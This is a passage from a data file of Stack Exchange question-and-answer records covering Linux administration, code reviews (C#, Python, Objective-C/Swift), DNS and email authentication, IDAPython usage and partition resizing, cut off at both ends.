that you may run into The Paradox of Choice and not know what to use. For that read below my answer to the second question.As to the second question, the best resource I have found is called Open Source Alternatives. This web site lists out commercial software and their open source alternatives. Almost all the alternatives run on Linux and FreeBSD. " } { "id": "_unix.175166" , "question": "I have been hammering my head on the wall for the past two days trying to figure out a way to combine two keys to execute a function with xbindkeys.To make a long story short I have a chromebook c720 running OpenSUSE, and as you may already know chromebooks don't have Function keys but they do have hotkeys rather. Since I have already mapped with xbindkeys each hotkeys to do what they are supposed to do, my goal now is to combine the ctrl + hotkey to emulate the FN key.I can map a single key with xbindkey and xmodmap to act as FN key by using xmodmap -e 'keycode 72 = F6'however I can't seem to be able to map two to act as such.Here's the ctrl + F6 key codes output. caino@chromebook:~> xbindkeys -kPress combination of keys or/and click under the window.You can use one of the two lines after NoCommandin $HOME/.xbindkeysrc to bind a key.(Scheme function) m:0x0 + c:72 F6caino@chromebook:~> xbindkeys -kPress combination of keys or/and click under the window.You can use one of the two lines after NoCommandin $HOME/.xbindkeysrc to bind a key.(Scheme function) m:0x4 + c:37 Control + Control_L" , "title": "How do I combine two keys to act as FN key with xbindkeys?" , "tags": "linux;keyboard shortcuts;opensuse;key mapping;xbindkeys" } { "id": "_unix.9816" , "question": "So Im a complete newb when it comes to enterprise level linux distros, and linux servers in general.I know my way around Most Linux Desktops, but Im going to be setting up a small Linux Server that multiple people would be able to Terminal into (probably through SSH or Putty)How would I go about doing this (storing the users/passwords and such)....And is there a good FREE distro to do this? I was looking at Ubuntu Server, I was gonna do Centos but im a little bit iffy as their latest release is taking a LONGGG time. (We use Red Hat Enterprise 5.3 at work....but obviously I can't afford that lol)Thanks all.edit: Also how do you make like names for the server, so instead of 164.25.252.35 (or w/e ip, i just made that one up)it could be something like tron.dev.sauron.com or something.... (ya im a NUB)" , "title": "Setting a Multi-Terminal Linux Server" , "tags": "linux;terminal;multiuser" , "accepted_answer": "First of all, your users should not be using passwords to log in to SSH, and should be using keys+passphrases, unless you absolutely must use passwords for some reason. For general information on how to set up SSH, I would look into specific information for setting up SSH on whatever distribution you end up choosing (most of them will have a tutorial on their site), or just google for How to set up SSH.Ubuntu Server is an excellent server distribution (which powers extremely high-traffic servers, such as those that Wikipedia runs on) and has packages for everything you'd need to do this (openssh-server, etc.) They also have very regular releases, so if you're worried about slow release cycles, this will not be a problem.As far as how names like tron.dev.sauron.com get converted to IP addresses, this is known as domain name resolution. If you are trying to set up a remote server for people to log in to, you're going to need to register a domain name and either (a) run a DNS server yourself, or (b) use a DNS service that will route it to the proper IP. (See this for more info: http://www.boutell.com/newfaq/creating/domainathome.html). The latter is likely a much better option." } { "id": "_codereview.173728" , "question": "I am trying to implemenent the adjacency list representation of graph.Here is the link to the code:http://ide.geeksforgeeks.org/6wjVCwNow the problem that I am facing is that the double pointer does not seem to work.Why is it happening? I am particularly sceptical about this part of the code : struct node** adjList(int V, int E) { struct node ** arr = (struct node **)malloc(sizeof(struct node *)*V); int u,v; for(int i = 0; i < V; i++) arr[i]->next = NULL;What I want to do is to creat" , "title": "Graph implementation?" , "tags": "graph" } { "id": "_cstheory.1956" , "question": "Computational geometry is an area I find pretty interesting, and I'd like to devote about a month or two to a project that will introduce me to this and help me learn key concepts.What is a good way to approach this and what are the key concepts I should be sure I'm introduced too?" , "title": "What is a really good problem to get your hands dirty in computational-geometry?" , "tags": "soft question;cg.comp geom" , "accepted_answer": "To mix Suresh V.'s and Dave C.'s suggestions, it might be fun to try to gain experimental evidenceon an unsolved problem by implementing the necessary algorithms. For example, it is now known that the Delaunay triangulation is not a ($\\pi$/2)-spanner[Prosenjit Bose, Luc Devroye, Maarten Lffler, Jack Snoeyink, Vishal Verma: The spanning ratio of the Delaunay triangulation is greater than $\\pi$/2. CCCG 2009: 165-167.]You could implement a Delaunay triangulation algorithm, and shortest paths, and try todetermine experimentally what the true spanning ratio might be.Or, more challenging, try to compute the combinatorial complexity of the Voronoi diagram of lines in $\\mathbb{R}^3$,another unsolved problem (and in the list that Suresh mentions as Problem 3.)" } { "id": "_unix.107041" , "question": "I need to make a copy of my home directory and place that copy in the same home directory. The exit code of the command must be 0. Currently, my home directory does not contain any other directories.Is there a better way than the following? (pwd is the home directory)mkdir /tmp/temp && cp * /tmp/temp && mv /tmp/temp ." , "title": "How to copy the home directory in the home directory?" , "tags": "file copy;home" , "accepted_answer": "Call rsync and exclude the directory where you're putting the copy.cdmkdir copyrsync -a --exclude=copy . copyCopying * excludes dot files (files whose name begins with a .), which are common and important in a home directory." } { "id": "_vi.11387" , "question": "Saw this in a .vimrc file:====[ Ensure autodoc'd plugins are supported ]===========runtime plugin/_autodoc.vimAny idea on what autodoc'd docs are and how they work?" , "title": "What are autodoc'd plugins?" , "tags": "vimrc" } { "id": "_webmaster.106940" , "question": ".dj domains appear to suddenly not resolve almost anywhere (lots of complaints incoming from users on .dj websites' social media) i.e. http://www.dj http://plug.dj https://click.djGoing to any .dj domain results in DNS_PROBE_FINISHED_NXDOMAINWhat's happening? When & how will this be solved?" , "title": "ALL Djibouti (.dj) domains suddenly no longer being resolved on most devices/DNS (DNS_PROBE_FINISHED_NXDOMAIN)" , "tags": "domains;domain registration;top level domains;nameserver;dns servers" } { "id": "_codereview.36841" , "question": "This week's review challenge is a poker hand evaluator. I started by enumerating the possible hands:public enum PokerHands{ Pair, TwoPair, ThreeOfKind, Straight, Flush, FullHouse, FourOfKind, StraightFlush, RoyalFlush}Then I thought I was going to need cards... and cards have a suit...public enum CardSuit{ Hearts, Diamonds, Clubs, Spades}...and a nominal value:public enum PlayingCardNominalValue{ Two, Three, Four, Five, Six, Seven, Eight, Nine, Ten, Jack, Queen, King, Ace}So I had enough of a concept to formally define a PlayingCard:public class PlayingCard { public CardSuit Suit { get; private set; } public PlayingCardNominalValue NominalValue { get; private set; } public PlayingCard(CardSuit suit, PlayingCardNominalValue nominalValue) { Suit = suit; NominalValue = nominalValue; }}At this point I had everything I need to write my actual Poker hand evaluator - because the last time I implemented this (like, 10 years ago) it was in VB6 and that I'm now spoiled with .net, I decided to leverage LINQ here:public class PokerGame{ private readonly IDictionary<PokerHands, Func<IEnumerable<PlayingCard>, bool>> _rules; public IDictionary<PokerHands, Func<IEnumerable<PlayingCard>, bool>> Rules { get { return _rules; } } public PokerGame() { // overly verbose for readability Func<IEnumerable<PlayingCard>, bool> hasPair = cards => cards.GroupBy(card => card.NominalValue) .Count(group => group.Count() == 2) == 1; Func<IEnumerable<PlayingCard>, bool> isPair = cards => cards.GroupBy(card => card.NominalValue) .Count(group => group.Count() == 3) == 0 && hasPair(cards); Func<IEnumerable<PlayingCard>, bool> isTwoPair = cards => cards.GroupBy(card => card.NominalValue) .Count(group => group.Count() >= 2) == 2; Func<IEnumerable<PlayingCard>, bool> isStraight = cards => cards.GroupBy(card => card.NominalValue) .Count() == cards.Count() && cards.Max(card => (int) card.NominalValue) - cards.Min(card => (int) card.NominalValue) == 4; Func<IEnumerable<PlayingCard>, bool> hasThreeOfKind = cards => cards.GroupBy(card => card.NominalValue) .Any(group => group.Count() == 3); Func<IEnumerable<PlayingCard>, bool> isThreeOfKind = cards => hasThreeOfKind(cards) && !hasPair(cards); Func<IEnumerable<PlayingCard>, bool> isFlush = cards => cards.GroupBy(card => card.Suit).Count() == 1; Func<IEnumerable<PlayingCard>, bool> isFourOfKind = cards => cards.GroupBy(card => card.NominalValue) .Any(group => group.Count() == 4); Func<IEnumerable<PlayingCard>, bool> isFullHouse = cards => hasPair(cards) && hasThreeOfKind(cards); Func<IEnumerable<PlayingCard>, bool> hasStraightFlush = cards =>isFlush(cards) && isStraight(cards); Func<IEnumerable<PlayingCard>, bool> isRoyalFlush = cards => cards.Min(card => (int)card.NominalValue) == (int)PlayingCardNominalValue.Ten && hasStraightFlush(cards); Func<IEnumerable<PlayingCard>, bool> isStraightFlush = cards => hasStraightFlush(cards) && !isRoyalFlush(cards); _rules = new Dictionary<PokerHands, Func<IEnumerable<PlayingCard>, bool>> { { PokerHands.Pair, isPair }, { PokerHands.TwoPair, isTwoPair }, { PokerHands.ThreeOfKind, isThreeOfKind }, { PokerHands.Straight, isStraight }, { PokerHands.Flush, isFlush }, { PokerHands.FullHouse, isFullHouse }, { PokerHands.FourOfKind, isFourOfKind }, { PokerHands.StraightFlush, isStraightFlush }, { PokerHands.RoyalFlush, isRoyalFlush } }; }}" , "title": "Poker Hand Evaluator Challenge" , "tags": "c#;linq;weekend challenge;playing cards" , "accepted_answer": "public enum PokerHandsThis type should be called in singular (PokerHand). When you have a variable of this type, it represents a single hand, not some collection of hands. Your other enums are named correctly in this regard.public enum CardSuitpublic enum PlayingCardNominalValueYou should be consistent. Either start both types with PlayingCard or both with Card. I prefer the former, because this is a playing card library, there is not much chance of confusion with credit cards or other kinds of cards.private readonly IDictionary<PokerHands, Func<IEnumerable<PlayingCard>, bool>> _rules;public IDictionary<PokerHands, Func<IEnumerable<PlayingCard>, bool>> Rules { get { return _rules; } }I would use auto-property with private setter (like you did in PlayingCard) here. It won't enforce the readonly constraint, but I think shorter code is worth that here.Also, this pretty dangerous code, any user of this class can modify the dictionary. If you're using .Net 4.5, you could change the type to IReadOnlyDictionary (and if you wanted to avoid modifying by casting back to IDictionary, also wrap it in ReadOnlyDictionary).One more thing: I question whether IDictionary is actually the right type here. I believe that the common operation would be to find the hand for a collection of cards, not finding out whether a given hand matches the cards.// overly verbose for readabilityI agree that the lambdas are overly verbose, but I'm not sure it actually helps readability. What I don't like the most is all of the GroupBy() repetition. What you could do is to create an intermediate data structure that would contain the groups by NominalValue and anything else you need and then use that in your lambdas.Func<IEnumerable<PlayingCard>, bool> isStraight = cards => cards.GroupBy(card => card.NominalValue) .Count() == cards.Count() && cards.Max(card => (int) card.NominalValue) - cards.Min(card => (int) card.NominalValue) == 4;What is the cards.Count() supposed to mean? Don't there always have to be 5 cards? The second part of this lambda seems to indicate that." } { "id": "_unix.281024" , "question": "Eclipse scrolling happens with unbearable jitter, whereas other X applications (e.g. Google Chrome) behave more smoothly, what could be the cause? Why would Eclipse be different from other apps?$ lsb_release -aDistributor ID: DebianDescription: Debian GNU/Linux testing-updates (sid)Release: testing-updatesCodename: sid$ gnome-shell --versionGNOME Shell 3.18.1$ uname -aLinux thinkpad 4.5.0-1-amd64 #1 SMP Debian 4.5.1-1 (2016-04-14) x86_64 GNU/Linux$ Xorg -versionX.Org X Server 1.18.3Release Date: 2016-04-04$ cat .eclipseproductversion=4.5.2I istalled TrackPoint support for backports kernels in Jessie or later using these instructions: https://wiki.debian.org/InstallingDebianOn/Thinkpad/Trackpoint (namely, I created the recommended /usr/share/X11/xorg.conf.d/20-thinkpad.conf file, which allows both vertical and horizontal scrolling)" , "title": "Jittery ThinkPad TrackPoint scrolling in Debian / X / GNOME using Eclipse Mars" , "tags": "debian;gnome;thinkpad;eclipse" } { "id": "_unix.185282" , "question": "There are various servers with various OS, we cannot touch the PS1 of them. There is a sysadmin notebook, having CentOS 6.5/GNOME, so using gnome-terminal. We log in via SSH to the servers in gnome-terminal. Question: How can we modify the given gnome-terminals name (can have several tabs) to the remote machines name? It is working sometimes.. on ex.: Ubuntu servers, but looks like not working by default on older servers.." , "title": "How to set gnome-terminal to the remove server name without touching PS1?" , "tags": "ssh;gnome terminal" } { "id": "_unix.89216" , "question": "We define idle based on how screen savers in Linux define it.I found this tool called xautolock.I tested it like this:/usr/X11R6/bin/xautolock -time 1 -locker notify-send testI placed this in /etc/rc.d/rc.local, but for some reason it was not working and I couldn't debug it.Someone said to place it in .bash_profile. I found this file and placed it in there, but now my GUI won't start.Because this command is a forever command, it always listens once executed. It never stops listening in order to determine idleness, so this means it can not go into .bash_profile.I do not know how to place it in to /etc/rc.d/rc.local, so where can it go if it can not go into these files?Perhaps there is a way to modify it so it can go into /etc/rc.d/rc.local? Perhaps something like:DISPLAY=:0.0 /usr/X11R6/bin/xautolock -time 1 -locker notify-send testWould that work?I'm on CentOS and GNOME." , "title": "How to shut down Linux if idle for 30+ minutes?" , "tags": "startup;shutdown" , "accepted_answer": "You can't place it in rc.local because it will require a running X session and rc.local is usually executed before or during starting X. Also the DISPLAY variable would have to be set as you already figured out correctly.If you want to place it in your .bash_profile then just put a & at the end to run it in the background." } { "id": "_softwareengineering.134920" , "question": "While some platform in some languages already address this issue, I would like to keep this semi-language agnostic and to focus on patterns associated with this issue.I have a data model that contains FirstName, MiddleName, and LastName (to keep things simple). First and Last names are required and may have other rules to ensure their validity. Middle name is optional.By default, the model is empty and thus, invalid.When a value changes, an event can be triggered to validate the field that changed.My question is what patterns can be used to best manage the state of the object since, based on the scenario, I'm doing field level validation. Should I move to model level validation on field change which would address the state issue or is there an alternate way? " , "title": "Patterns for Maintaining Model State in Real Time" , "tags": "design patterns;language agnostic" , "accepted_answer": "This is a common problem in data validation; When entering new data into the system, before any information is entered by the user, the default working state of the object (mostly nulls) is an invalid state for virtually all other processes of your system.Validation is always context-dependent. If you have, for instance, a business requirement that all entered people records must have at least a first and last name, then neither field-level validation (which would only be run when setting a field, and so would not catch a failure to set the other field), nor model-level validation (which, if invoked real-time, would return a validation error for this rule when entering the first name because the last name is invalid) would work all the time when implemented naively.Instead, your domain model has to be made intelligent enough to know when it is ok to be in an inconsistent state, and when it is not. Usually, this is accomplished by providing some sort of scope or context identifier into your validation routines:When entering a single field, you can, and should, only validate rules the define the behavior of that single field. You simply cannot require the user to enter a last name when they are attempting to specify a first name in a new record, and vice-versa.At certain points, you may know that a subset of your object should now be in a consistent state. This may happen when filling out a multi-page form and attempting to continue to the next page; at that point, you may validate rules that involve one or more fields on the current page. This includes all field-level validations, but also additional multi-field validations, such as making sure date ranges composed of a start and end date are valid (end date after start date for instance), and that a person has both a first and last name. Sometimes, if one page's data depends on data in a previous page, you may be able to make these validations as well, but in that case those validations should not prevent a person going backwards to fix a mistake; it should only prevent the user continuing now that there is an obvious inconsistency. Understand that allowing real-time validation of values within a page or across multiple pages may introduce undesirable coupling; the validation rules must incorporate logic that is dependent on the structure of the View layer.Finally, when persisting an object (or retrieving it from persistence for use behind the scenes), it must be wholly consistent. That includes all field validations, all page-level validations, and additionally all rules involving data spread across multiple pages.Rules that the model must meet at one of these levels may prevent proper execution of the program when run at a lower level. It is often possible to include the scope or level of validation in a suite of rules that can be run with one method call, thus allowing the rule to pass if the data is consistent enough for a particular level of validation. However, doing so often couples the domain (or controller) to a very specific View, making the design brittle; if you want to move a field to a different page of the View, the validation routines back in the controller or data model may have to change to reflect this. There may not be a good way around this if you want to validate each rule as soon as possible." } { "id": "_codereview.33548" , "question": "I have recently written this Minesweeper game in Python:import randomclass Cell(object): def __init__(self, is_mine, is_visible=False, is_flagged=False): self.is_mine = is_mine self.is_visible = is_visible self.is_flagged = is_flagged def show(self): self.is_visible = True def flag(self): self.is_flagged = not self.is_flagged def place_mine(self): self.is_mine = Trueclass Board(tuple): def __init__(self, tup): super().__init__() self.is_playing = True def __str__(self): board_string = (Mines: + str(self.remaining_mines) + \\n + .join([str(i) for i in range(len(self))])) for (row_id, row) in enumerate(self): board_string += \\n + str(row_id) + for (col_id, cell) in enumerate(row): if cell.is_visible: if cell.is_mine: board_string += M else: board_string += str(self.count_surrounding(row_id, col_id)) elif cell.is_flagged: board_string += F else: board_string += X board_string += + str(row_id) board_string += \\n + .join([str(i) for i in range(len(self))]) return board_string def show(self, row_id, col_id): if not self[row_id][col_id].is_visible: self[row_id][col_id].show() if (self[row_id][col_id].is_mine and not self[row_id][col_id].is_flagged): self.is_playing = False elif self.count_surrounding(row_id, col_id) == 0: [self.show(surr_row, surr_col) for (surr_row, surr_col) in self.get_neighbours(row_id, col_id) if self.is_in_range(surr_row, surr_col)] def flag(self, row_id, col_id): if not self[row_id][col_id].is_visible: self[row_id][col_id].flag() else: print(Cannot add flag, cell already visible.) def place_mine(self, row_id, col_id): self[row_id][col_id].place_mine() def count_surrounding(self, row_id, col_id): count = 0 for (surr_row, surr_col) in self.get_neighbours(row_id, col_id): if (self.is_in_range(surr_row, surr_col) and self[surr_row][surr_col].is_mine): count += 1 return count def get_neighbours(self, row_id, col_id): SURROUNDING = ((-1, -1), (-1, 0), (-1, 1), (0 , -1), (0 , 1), (1 , -1), (1 , 0), (1 , 1)) neighbours = [] for (surr_row, surr_col) in SURROUNDING: neighbours.append((row_id + surr_row, col_id + surr_col)) return neighbours def is_in_range(self, row_id, col_id): return 0 <= row_id < len(self) and 0 <= col_id < len(self) @property def remaining_mines(self): remaining = 0 for row in self: for cell in row: if cell.is_mine: remaining += 1 if cell.is_flagged: remaining -= 1 return remaining @property def is_solved(self): for row in self: for cell in row: if not(cell.is_visible or cell.is_flagged): return False return Truedef create_board(size, mines): board = Board(tuple([tuple([Cell(False) for i in range(size)]) for j in range(size)])) available_pos = list(range((size-1) * (size-1))) for i in range(mines): new_pos = random.choice(available_pos) available_pos.remove(new_pos) (row_id, col_id) = (new_pos % 9, new_pos // 9) board.place_mine(row_id, col_id) return boarddef get_move(board): INSTRUCTIONS = (First, enter the column, followed by the row. To add or remove a flag, add \\f\\ after the row (for example, 64f would place a flag on the 6th column, 4th row). Enter your move: ) move = input(Enter your move (for help enter \\H\\): ) if move == H: move = input(INSTRUCTIONS) while not is_valid(move, board): move = input(Invalid input. Enter your move (for help enter \\H\\): ) if move == H: move = input(INSTRUCTIONS) return (int(move[1]), int(move[0]), True if move[-1] == f else False)def is_valid(move_input, board): if move_input == H or (len(move_input) not in (2, 3) or not move_input[:1].isdigit() or int(move_input[0]) not in range(len(board)) or int(move_input[1]) not in range(len(board))): return False if len(move_input) == 3 and move_input[2] != f: return False return Truedef main(): SIZE = 10 MINES = 9 board = create_board(SIZE, MINES) print(board) while board.is_playing and not board.is_solved: (row_id, col_id, is_flag) = get_move(board) if not is_flag: board.show(row_id, col_id) else: board.flag(row_id, col_id) print(board) if board.is_solved: print(Well done! You solved the board!) else: print(Uh oh! You blew up!)if __name__ == __main__: main()I am currently aware that when counting remaining_mines, the property function runs each time, whereas it would have been more efficient only adding and subtracting from the mine count when a mine or flag is placed.When I implemented this, however, it looked quite messy, so I chose readability over performance. Was this the right decision? I also think the for a in b: for c in a: which are repeated throughout the code could be cleaned up. Finally, I wasn't sure whether to use a list comprehension or a normal loop in the final elif of Board.show().Have you got any answers to my questions, or any general tips on how to improve the performance or readability?" , "title": "Minesweeper in Python" , "tags": "python;game;minesweeper" } { "id": "_unix.209534" , "question": "Linux Mint 17.1 (MATE) running on HP G250 Laptop and older HP desktops. It's just me and the dog at home and I like to run the computer all day, but it keeps returning to the login screen after a few minutes of inactivity. Typing the long secure password all day gets tiring and I'd like to at least lengthen the time, or even stop the timeout alltogether. " , "title": "How to avoid system timeout to login screen when I make a cup of tea?" , "tags": "linux mint;mate;timeout;screensaver;screen lock" } { "id": "_scicomp.8769" , "question": "I have a need to get a variable value from another process rank of which I know. This happens in context of a parallel solver of a A x = b equation, for which process with rank 0 knows matrix A, and the other processes put some values (i,j) from this matrix into the matrix of a parallel solver data type (Petsc's Mat). This means that these other processes walk through the range delegated to them, calculate i and j, retrieve ij's element, and call MatSetValue. There is no way to avoid such way - it is a finite differencing method and the parent process has variable values in central points and in neighbouring points (left,right,top,bottom) For example the same happens in ex13F90.F in petsc library examples.The problem is that I don't know a proper MPI subroutine to retrieve the a_central, a_top, a_bottom, ..., values from the parent processes. Right now I tried to broadcast them (MPI_Bcast) but this means that each process has the entire matrix and runs out of memory.Per the answer below, the essence of this question is How do I do one-sized MPI communication?..." , "title": "mpi retrieve a variable value from process with known rank to process that made an mpi_something call" , "tags": "petsc;mpi" } { "id": "_unix.45198" , "question": "I used the uuid command from the uuid-1.6.2-8.fc17.x86_64 package to generate version 1 UUIDs. The man page said that the default is to use the real MAC address of the host, but when I decoded the generated UUID, it is using the local multicast address. uuid v 1 shows:5fc2d464-e1f8-11e1-9c3d-ff8beec65651Decoding with uuid -d 5fc2d464-e1f8-11e1-9c3d-ff8beec65651 shows:encode: STR: c7ee12de-e1f7-11e1-99f1-53d638ec6296 SIV: 265752520555487307909286258714002350742decode: variant: DCE 1.1, ISO/IEC 11578:1996 version: 1 (time and node based) content: time: 2012-08-09 07:56:52.526563.0 UTC clock: 6641 (usually random) node: 53:d6:38:ec:62:96 (local multicast)How can I make it use my actual MAC address, and my time zone (Asia/Tehran, not UTC)?" , "title": "UUID based on global MAC address" , "tags": "mac address;uuid" , "accepted_answer": "The reason it's not using your actual MAC address is because the code is poorly written. The mac_address function in uuid_mac.c has this block of code: if ((s = socket(PF_INET, SOCK_DGRAM, 0)) < 0) return FALSE; sprintf(ifr.ifr_name, eth0); if (ioctl(s, SIOCGIFHWADDR, &ifr) < 0) { close(s); return FALSE; }It's looking for the MAC address of the eth0 interface, and silently falling back to a randomly-generated local multicast address if it can't find it. If your network interface is called eth1 or wlan0 or anything else, it fails to find it.I would consider this a bug in the software. It should use the MAC address of the hardware interface corresponding to the current default route, and let the user specify an alternate interface if desired. I'd recommend reporting that upstream.Regarding timezone: the UUID doesn't store the timezone. The time information in the UUID is stored as UTC time, and so that's how uuid -d displays it. An enhancement to the uuid program might be to provide an option to display times according to the local timezone when decoding -- but either way, that info doesn't get stored inside the UUID itself." } { "id": "_codereview.127612" , "question": "I was recently tasked with architecting a user/profile object in Objective-C and wanted the ability to access a static instance from the class level, similar in style to the way Parse manages their current user (a static variable on a class, not a singleton). With Parse, I can call a class method to return the current user object if a user is logged in, or nil if there is no current user session with [PFUser currentUser].I architected my class like so:User.h@interface User : NSObject/// Returns the current user if logged in, or nil if logged out+ (User *)currentUser;/// Sets the current user, call this on login+ (void)setCurrentUser:(NSDictionary *)userInfo;/// Removes the current user, call this on logout+ (void)removeCurrentUser;// Getters/// Returns the user's name if logged in, nil if logged out@property (nonatomic, readonly, strong) NSString *name;@endUser.m@interface User ()@property (nonatomic, readwrite, strong) NSString *name;@property (nonatomic, strong) NSString *address;@end@implementation User#pragma mark - Static Variablesstatic User *currentUser;#pragma mark - Static Object Setters and Getters+ (User *)currentUser{ return currentUser;}+ (void)setCurrentUser:(NSDictionary *)userInfo{ currentUser = [[User alloc] initWithDictionary:userInfo];}+ (void)removeCurrentUser{ currentUser = nil;}#pragma init- (instancetype)initWithDictionary:(NSDictionary *)userInfo{ self = [super init]; if (self) { NSString *name = userInfo[@name]; NSString *address = userInfo[@address]; if (!name || !address ) { return nil; } _name = name; _address = address; } return self;}@endThis works well. I have a single static User instance which can be non-nil if a user is logged in, and nil if the user is logged out. I can access this object from anywhere with [User currentUser] without a singleton.Now as an additional challenge I'm trying to translate this type of pattern into Swift. Here is my fist pass:public class User { // Private Properties private var name: String? private var address: String? // Private instance of User private static var user: User? // Class Functions public class func currentUser() -> User? { return self.user } public class func setCurrentUser(userInfo: [String : AnyObject]) { self.user = User(dictionary: userInfo) } public class func removeCurrentUser() { self.user = nil } // Instance methods public func getName() -> String? { return self.name } // Private private convenience init?(dictionary: [String : AnyObject]) { self.init() guard let name = dictionary[name] as? String else { return nil } guard let address = dictionary[address] as? String else { return nil } self.name = name self.address = address }}This works but doesn't feel Swifty enough.Questions:Is there a way to expose a public getter on a private property (sort of like a property redeclaration through a class extension in Objective-C)? Or do I need to write an additional accessor.Does declaring my private User object as private static ensure that it can only be accessed on the class level and not on the instance level? Is this variable really static like it would be in C or Objective-C?Can a User setter and getter be added/modified to remove the need for setCurrentUser and removeCurrentUser?I am open to optimizations in both my Swift and Objective-C code." , "title": "Current user as a class-level property in Objective-C and Swift" , "tags": "object oriented;objective c;swift;static" } { "id": "_reverseengineering.13286" , "question": "I have an IDAPython script x.py which takes some arguments, which prevents me from simply using alt + F7 and selecting my script.How can I execute this script within IDA Pro and specify the arguments for the script?" , "title": "Executing an IDAPython script with arguments within IDA Pro" , "tags": "ida;idapython;idapro plugins" , "accepted_answer": "Naturally, the best way would be editing the script and have it ask the user for those parameters. IDA has quite a few ways of doing that. You could use one or several of the many idc.Ask* functions. Such as: AskYN, AskLong, AskSelector, AskFunction, AskFile and others. Sometimes when multiple input parameters are needd, it becomes inconvenient to ask for many speciif values, you could then create a full blown dialog instead.You could create a new process using popen or something similar, but I can't say I recommend doing that.If depends on how the python script you're trying to execute is implemented, but you're probably better off trying to include/import it in one pythonic way or another.Importing a protected moduleIf the script is properly written, it probably wraps any execution functionality with an if __name__ == __main__ clause, protecting such cases as executing when imported. If that's the case, simply import it with an import modulename and then call its main/whatever.Importing a sys.argv moduleIf the module directly uses sys.argv and you cannot/would not prevent it from doing so, you can mock your sys.argv before importing the module. Simply doing something like the following should work:sys.argv = ['./script.py', 'command', 'parameter1', 'parameter2', 'optional']import scriptCalling execfile of the fileIf neither of those approaches works for you, you can always directly call execfile and completely control the context in which the python script is executed. You should read the documentation of execfile and eval here and here, respectively." } { "id": "_webmaster.81038" , "question": "We're having issues with spam filters with our emails. They're not being received by our clients about half of the time. We decided to make sure the SPF and DKIM are correctly set.Suppose I have a hosting with some external domains purchased and linked here.Now, suppose that we're externalising the email management to Google Apps, where we have the main domain as the only company domain, but are also using secondary domains from Gmail, and directly contacting the hosting SMTP server. Others are simply domains purchased that act as an alias of the main domain (though inside the GMail accounts they aren't considered as Alias).With that in mind, I'm having a huge trouble making this work. This is the current situation:Emails sent with the main domain are correctly authenticated.Emails sent with hosting-stmp handled might not be authenticated, but seem to work well.Emails sent with aliased accounts are sent, but via main domain.I've set include:_spf.google.com as a SPF in the hosting panel, per domain. But to which servers should I add the DKIM from Google Apps? To the main domain, all of them? I've set it to the main domain and it seems to work as always." , "title": "Where to place the SPF records and Google Apps DKIM on a multidomain website?" , "tags": "email;multiple domains;google apps;spf;dkim" } { "id": "_cogsci.8640" , "question": "What physiological changes are seen in the brain when a person is experiencing frustration? What effects do these changes have on learning?Optional background:I'm trying to figure out an exploration schedule (exploration = increasing the noise in the action selection neural population) for Hierarchical Reinforcement Learning and I'm wondering if there's an easy way to base it biologically." , "title": "Physiological mapping of frustration" , "tags": "neurobiology;learning;emotion;physiology" } { "id": "_softwareengineering.123146" , "question": "I'm starting a hobby project and I'm in the middle of designing its architecture. I would like to make my program plugin-based (never done anything like that before), to make it extensible. Now I'm trying to grasp how such an architecture is created conceptually.Now, this wikipedia article about Plugins says that the host application is supposed to provide a protocol service (among other things) to establish how data is exchanged with the plugin. I don't really understand this tidbit, what does that mean? What kind of data actually needs to be exchanged?EDIT: Just to be clear, I'm not looking for implementation specifics, but for a clear explanation of the mechanism, that the wikipedia article presents. As it stands now, I have no idea what the purpose of a protocol in a plugin-based application is.I figured, the plugin could just fetch relevant data from outside the application on its own and present it to the user, without directly involving the application. What would be the purpose of establishing a protocol for data exchange?It's a desktop application, which will be written mainly in Java, thus object-oriented. The application at its core mainly provides an interface for plugins to register itself in the application and a plugin-manager, which interacts with the plugin." , "title": "Designing a plugin-based architecture - what is a protocol service supposed to provide to a plugin?" , "tags": "architecture;plugins;protocol" , "accepted_answer": "In my view, plugins are sharing the same address space (& process) as the receiving application and involve dynamic linking.In Linux parlance, I think that a plugin is a dynamically loaded shared object which is dlopen-ed by the application.Then the application has to define what dlsym-ed symbols are expected by the application in the plugin, and how they interact with (i.e. how they are called by) the application.A concrete exemple is given by Gcc plugins (I'm working on MELT, a high-level domain specific language to extend GCC, implemented as a [meta-] plugin); as the document explains, it define some set of conventions that you would call a protocol serviceAdded:So the plugin protocol is the set of conventions (and associated API and names) defining how the plugin is installed, and which plugin's functions (and names) are expected, in what order and conditions they are invoked by the application, and which application data and API the plugin can access (and modify)." } { "id": "_unix.289932" , "question": "I found this expression for a homework assignment that will print all lines containing a vowel (a, e, i, o, or u) followed by a single character followed by the same vowel again. Thus, it will find eve or adam but not vera. The expression works correctly but I am looking for someone who can explain what each part does so I can further understand how it works." , "title": "Can anyone explain this expression piece by piece please? grep '\\([aeiou]\\).\\1'" , "tags": "grep" } { "id": "_unix.186750" , "question": "I shrunk my root partition and it seems nice. But I am thinking about overwriting now at least the most important files from the backup copy (external drive, rsync, weekly backup) in order to be sure that none of my files got corrupted during the shrinking. That is probably a waste of time (and perhaps it may result in more fragmentation). I can check that the files are OK after moving them during the shrinking by means of a CRC comparison with those in the backup (e.g. with md5sum) as one unser kindly says in his answer.But specifically I would like a short explanation on the algorithm that GNU Parted uses in order to ensure that no data corruption happens while moving information from one sector of the disk to another, prior to the shrinking of the partition. Is there such algorithm, or the program copies bytes blindly? I would like to read a simple explanation." , "title": "Why can I rest assured that GNU Parted has not corrupted a single bit after shrinking my partition?" , "tags": "partition;gparted;parted;corruption;integrity" , "accepted_answer": "Why can I rest assured that GNU Parted has not corrupted a single bit after shrinking my partition?You can't, in fact, gparted man page clearly says (under NOTES):Editing partitions has the potential to cause LOSS of DATA.......You are advised to BACKUP your DATA before using the gparted application.Reboot your system after resizing the partition and run fsck. If it doesn't find any errors then the operation was successful and the data is intact.There have been issues in the past with gparted corrupting data when resizing partitions even though it wasn't reporting any error (e.g. see this thread on their forum and the warning linked there).When resizing, (g)parted only moves the END position of partition NUMBER. It does not modify any filesystem present in the partition. Underneath, gparted uses fs specific tools to grow/shrink the filesystem.You can get detailed information for each operation, as per the online manual:To view more information, click Details. The application displays more details about operations.To view more information about the steps in each operation, click the arrow button beside each step. Let's see what it actually does when shrinking an ext4 partition (skipping the calibrate&fsck steps):shrink file system 00:00:02 ( SUCCESS )resize2fs -p /dev/sdd1 409600KResizing the filesystem on /dev/sdd1 to 409600 (1k) blocks.Begin pass 3 (max = 63)Scanning inode table XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXThe filesystem on /dev/sdd1 is now 409600 (1k) blocks long.resize2fs 1.42.12 (29-Aug-2014)As you can see, gparted does nothing, it just calls resize2fs -p with the specified device and new size as arguments. If you're interested in the algorithm you could look at resize2fs.c. In short:Resizing a filesystem consists of the following 